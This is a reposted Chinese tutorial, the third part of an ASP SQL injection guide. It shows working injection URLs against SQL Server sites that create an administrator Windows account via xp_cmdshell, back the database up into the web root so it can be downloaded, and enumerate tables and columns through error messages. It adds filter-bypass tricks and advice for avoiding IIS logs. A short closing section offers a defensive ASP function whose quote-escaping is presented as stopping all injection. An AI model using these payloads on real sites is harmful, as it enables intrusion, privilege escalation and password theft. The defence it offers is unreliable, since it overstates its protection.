SQL注入天書之ASP注入漏洞全接觸(3)

來源:互聯網
上載者:User
進階篇

  看完入門篇和進階篇後,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程式作者過濾了一些特殊字元,怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看進階篇。

  第一節、利用系統資料表注入SQLServer資料庫

  SQL Server是一個功能強大的資料庫系統,與作業系統也有緊密的聯絡,這給開發人員帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

  ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行預存程序xp_cmdshell,這個預存程序用於調用系統命令,於是,用net命令建立了使用者名稱為name、密碼為password的windows的帳號,接著:

  ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  將建立的帳號name加入Administrator 群組,不用兩分鐘,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa串連資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

  前面有個類似的例子and user>0,作用是擷取串連使用者名稱,db_name()是另一個系統變數,返回的是串連的資料庫名。

  ④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

  這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將Database Backup到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及使用者密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

  前面說過,sysobjects是SQLServer的系統資料表,儲存著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。第二、第三個表名怎麼擷取?還是留給我們聰明的讀者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

  從⑤拿到表名後,用object_id(‘表名’)擷取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個擷取所猜解表裡面的欄位名。

  以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的瞭解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之後,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

  第二節、繞過程式限制繼續注入

  在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程式限制的目的。

  在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我最佳化,讓其不包含有單引號的;在“利用系統資料表注入SQLServer資料庫”中,有些語句包含有’號,我們舉個例子來看看怎麼改造這些語句:

  簡單的如where xtype=’U’,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=’使用者’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三節、經驗小結

  1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

  2.在猜不到欄位名時,不妨看看網站上的登入表單,一般為了方便起見,欄位名都與表單的輸入框取相同的名字。

  3.特別注意:地址欄的+號傳入程式後解釋為空白格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

  4.用Get方法注入時,IIS會記錄你所有的提交字串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

  5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯資訊把值暴露出來,那效率和準確率會有極大的提高。

  防範方法

  SQL注入漏洞可謂是“千裡之堤,潰於蟻穴”,這種漏洞在網上極為普遍,通常是由於程式員對注入不瞭解,或者程式過濾不嚴格,或者某個參數忘記檢查導致。在這裡,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

Function SafeRequest(ParaName,ParaType)
 '--- 傳入參數 ---
 'ParaName:參數名稱-字元型
 'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字元)

 Dim ParaValue
 ParaValue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(ParaValue) then
   Response.write "參數" & ParaName & "必須為數字型!"
   Response.end
  End if
 Else
  ParaValue=replace(ParaValue,"'","''")
 End if
 SafeRequest=ParaValue
End function
  文章到這裡就結束了,不管你是安全人員、技術愛好者還是程式員,我都希望本文能對你有所協助。



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。